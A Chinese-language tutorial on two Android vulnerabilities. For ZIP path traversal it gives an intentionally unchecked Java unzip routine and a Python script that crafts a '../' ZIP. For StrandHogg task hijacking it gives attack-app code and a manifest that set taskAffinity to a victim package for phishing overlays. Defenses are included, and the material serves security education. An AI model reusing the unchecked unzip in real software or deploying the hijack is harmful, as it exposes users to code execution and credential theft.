Android常见漏洞总结
文件解压漏洞
漏洞简介
由于压缩文件ZIP类型的压缩包文件名允许存在特殊字符,没有格式要求,在Android系统中攻击者可以精心构造ZIP文件,利用多个../来改变ZIP包中某个文件的存放位置,以替换原有文件的目的。如果被替换掉的文件是是 .so、.dex 或 .odex 类型文件,那么攻击者就可以轻易更改原有的代码逻辑,轻则产生本地拒绝服务漏洞,影响应用的可用性,重则可能造成任意代码执行漏洞,危害应用用户的设备安全和信息安全。比如寄生兽漏洞、海豚浏览器远程命令执行漏洞和三星默认输入法远程代码执行等著名的安全事件。
漏洞原理
Java 代码在解压 ZIP 文件时,会使用到 ZipEntry 类的 getName() 方法,如果 ZIP 文件中包含 “../” 的字符串,该方法返回值里面原样返回,如果没有过滤掉 getName() 返回值中的 “../” 字符串,继续解压缩操作,就会在其他目录中创建解压的文件。
漏洞复现
下面的代码是将位于程序包下的test.zip文件解压缩到本目录下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| public class MainActivity extends ActionBarActivity { public static String TAG = "MainActivity";
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Button button_Activity1 = (Button) findViewById(R.id.button); button_Activity1.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String zipPath = getApplicationContext().getCacheDir()+"/test.zip"; String unzipPath = getApplicationContext().getCacheDir().toString(); try { unzipFile(zipPath,unzipPath); }catch (IOException e) { e.printStackTrace(); } } }); }
public void unzipFile(String zipPath,String outputDirectory) throws IOException { Log.i(TAG,"解压文件: "+zipPath+"\n"+"解压文件: "+outputDirectory); File file = new File(outputDirectory); if(!file.exists()) { file.mkdir(); } InputStream inputStream = new FileInputStream(zipPath); ZipInputStream zipInputStream = new ZipInputStream(inputStream); ZipEntry zipEntry = zipInputStream.getNextEntry(); byte[] buffer = new byte[1024*1024]; int count = 0; while(zipEntry !=null) { Log.i(TAG,"解压文件 入口 1: " +zipEntry ); if (!zipEntry.isDirectory()) { String fileName = zipEntry.getName(); Log.i(TAG,"解压文件 的名字: " + fileName); file = new File(outputDirectory + File.separator + fileName); file.createNewFile(); FileOutputStream fileOutputStream = new FileOutputStream(file); while ((count = zipInputStream.read(buffer)) > 0) { fileOutputStream.write(buffer, 0, count); } fileOutputStream.close(); } zipEntry = zipInputStream.getNextEntry(); Log.i(TAG,"解压文件 入口 2: " + zipEntry ); } zipInputStream.close(); Log.i(TAG,"解压完成"); } }
|
接下来将../test.txt的文件进行压缩保存为test.zip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import zipfile
def zip(): try: with open("test.txt", "r") as f: binary = f.read() zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED) zipFile.writestr("../test.txt", binary) zipFile.close() except IOError as e: raise e
if __name__ == '__main__': zip()
|
压缩成了test.zip,可以看到里面的为../test.txt文件
运行程序后,查看文件夹中变化,可以看到test.txt文件解压到了上一层目录下
漏洞防御
针对上述 ZIP 文件解压缩的目录穿越导致文件覆盖漏洞,修复建议如下:
- 对重要的 ZIP 压缩包文件进行数字签名校验,校验通过才进行解压。
- 检查 Zip 压缩包中使用 ZipEntry.getName() 获取的文件名中是否包含 ../ 或者 ..,检查 ../ 的时候不必进行 URI Decode(以防通过URI编码 ..%2F 来进行绕过),测试发现 ZipEntry.getName() 对于 Zip 包中有 ..%2F 的文件路径不会进行处理。
Google建议的修复方案:
1 2 3 4 5 6 7 8 9 10
| InputStream is = new InputStream(untrustedFileName); ZipInputStream zis = new ZipInputStream(new BufferedInputStream(is)); while((ZipEntry ze = zis.getNextEntry()) != null) { File f = new File(DIR, ze.getName()); String canonicalPath = f.getCanonicalPath(); if (!canonicalPath.startsWith(DIR)) { // SecurityException } // Finish unzipping… }
|
StrandHogg漏洞
漏洞简介
该漏洞允许攻击者冒充任意合法应用,诱导受害者授予恶意应用权限或者进行恶意钓鱼攻击。由于该漏洞允许恶意软件劫持合法应用的活动,并将自身恶意活动插入在合法活动之前使得用户并没有意识到自己已经遭到攻击。至2020年1月26日,经过测试,该漏洞影响Android全版本,包括目前最新的Android10。
漏洞原理
任务栈是指一堆activity的集合,以堆栈方式存放,一个任务栈中可以包含多个activity,可以来自不同应用。从一个acitivy启动新的一个activity时就会把前一个activity压入返回堆栈中。这个漏洞用到了android的两个属性taskAffinity和allowTaskReparenting。
1 2 3
| taskAffinity(任务相似性):用来标识activity与任务的联系,该属性如果没有被设置,就从自身的 Application 继承,Application 的taskAffinity,它的值为 Manifest 的包名,也就是taskAffinity默认属性为自身应用包名的字符串
allowTaskReparenting(任务重编):这个属性会使该activity具有在任务栈被重新编排的能力,当下一次将启动 activity 的任务转至前台时, activity 是否可以从启动它的任务移动到和它具有相同taskAffinity属性的任务,转移的时机是在具有相同taskAffinity属性的任务转移到前台时,true代表能够移动,并且false如果它必须留在它所在的任务中。
|
因为大部分应用的taskAffinity属性都没有设置,默认为其包名,那么就可以通过一个在恶意软件的一个hackactivity属性中设置跟我们攻击的应用的包名一致的taskAffinity值。
那么该hackactivitystart的时候就会创建一个与victim应用的taskAffinity属性相同的一个任务栈,到时候会和victim的应用共享一个任务栈,并且位于该任务栈的根,在我们启动受害应用时,该victim的任务就会被放到前台,然后位于根的hackactivity就会放到前台。
那么当我们打开受害应用所看到的activity,并不是该应用原有的activity,而是我们的hackactivity,那么我们可以在hackactivity设计成一个钓鱼页面,实现钓鱼攻击,获取用户的隐私和诱导用户授予恶意软件相应权限。
漏洞复现
复现需要一个正常的APP和一个包含攻击代码的APP。
正常合法app如下图所示,一个很简单的只有输出”Hello World!”的图形界面
接下来新建一个利用此漏洞的恶意软件项目,需要新建两个布局,布局代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| activity_main.xml//只显示Innocent字符串 <linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Innocent">
</textview> </linearlayout>
attack.xml//显示Attack Success!字符串,这里为攻击成功后显示的 <linearlayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity">
<textview android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="Attack Success!">
</textview> </linearlayout>
|
上面设计两个布局界面的原因是为了隐藏恶意代码攻击成功的意图,接下来就编写代码显示上面上个布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class MainActivity extends ActionBarActivity {
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent innocent,attack; attack=new Intent(this,Attack.class); attack.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); attack.addFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION); innocent=new Intent(this,Innocent.class); innocent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivities(new Intent[]{attack,innocent}); finish(); }
}
|
首先创建了成员变量分别为innocent,attack的两个Intent对象,attack和innocent都带上了FLAG_ACTIVITY_NEW_TASK这个Flag,带上该Flag的Intent创建的活动都会在各自的任务栈中,互不影响。其中attack还带有FLAG_ACTIVITY_NO_ANIMATION这个flag,带有该Flag的Intent创建的活动将不显示过度动画。
接着我调用了startActivities方法先后启动attack和innocent这两个活动注意,Innocent这个活动在Attack启动之后才被启动,在活动先后顺序上,Innocent在最顶层,所以用户最终看到的活动只有Innocent这个无害活动,而Attack启动时取消了过度动画,除了个别机型会有稍微闪动外,在启动时无明显变化,从而增加了恶意软件迷惑性。
攻击者要怎么利用漏洞将恶意活动插入到合法活动之前呢?这里就要用到AndroidManifest.xml中编辑配置文件,将taskAffinity属性就是欲攻击应用的包名,allowTaskReparenting属性为true。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <activity android:name=".MainActivity" android:label="@string/app_name" > <intent-filter> <action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity><activity android:name=".Innocent"> <activity android:allowtaskreparenting="true" android:name=".Attack" android:taskaffinity="com.victim.app"> <!-- 其中欲插入到合法活动前的恶意活动的taskAffinity属性就是欲攻击应用的包名 allowTaskReparenting属性为true --> </application>
|
漏洞防御
现在taskAffinity属性只对相同UID的应用有效,也就是说,只有共享UID的应用才可以进行activity的移动,uid在应用安装时被分配,并且在应用存在于手机上期间,都不会改变。
一个应用程序只能有一个uid,多个应用可以使用sharedUserId 方式共享同一个uid,但前提是这些应用的签名要相同。恶意应用也无法伪造uid,导致无法实现攻击。